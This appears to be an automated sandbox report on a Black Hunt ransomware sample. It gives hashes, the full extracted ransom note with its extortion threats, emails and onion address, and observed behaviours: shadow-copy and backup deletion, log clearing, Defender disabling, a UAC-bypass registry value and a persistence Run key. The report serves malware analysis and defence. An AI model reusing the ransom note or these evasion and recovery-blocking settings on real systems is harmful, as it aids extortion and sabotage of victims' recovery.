2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9

Analysis

max time kernel
119s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18-01-2024 22:10

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General

Target

2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Size

707KB
MD5

7cece5e6516ac976ef358386b2f4ab34
SHA1

d718770dc85006ed44a91d1bf6019d6281d8b9eb
SHA256

2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9
SHA512

7aca57300ca41974f3b571a5f91501f5df0076ac2c53ed0ca69cb99d64b8ecf8d0e28f7322fd90bfb42e076ef68817d84aa820af098f38091308638892edbbc1
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza198Cvnh:6uaTmkZJ+naie5OTamgEoKxLWgMh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> F2xdI55dPbdcmhrC </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2792	fsutil.exe
3048	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1324	wevtutil.exe
596	wevtutil.exe
3096	wevtutil.exe
2176	wevtutil.exe
2860	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2708	bcdedit.exe
1592	bcdedit.exe
2084	bcdedit.exe
2180	bcdedit.exe

Renames multiple (2899) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
932	wbadmin.exe
3360	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1108	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\N:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\W:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\O:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\V:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\M:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\J:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\X:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\T:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\U:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\P:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\Z:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\A:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\S:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\K:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\G:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\H:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\B:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\R:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\Q:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\Y:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\L:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\license.html	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Catamarca	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Dawson_Creek	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Iqaluit	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\La_Paz	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\TitleButtonIcon.png	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_photo_Thumbnail.bmp	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Perth	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\THIRDPARTYLICENSEREADME.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Samarkand	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationUp_ButtonGraphic.png	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dhaka	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_zh_CN.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
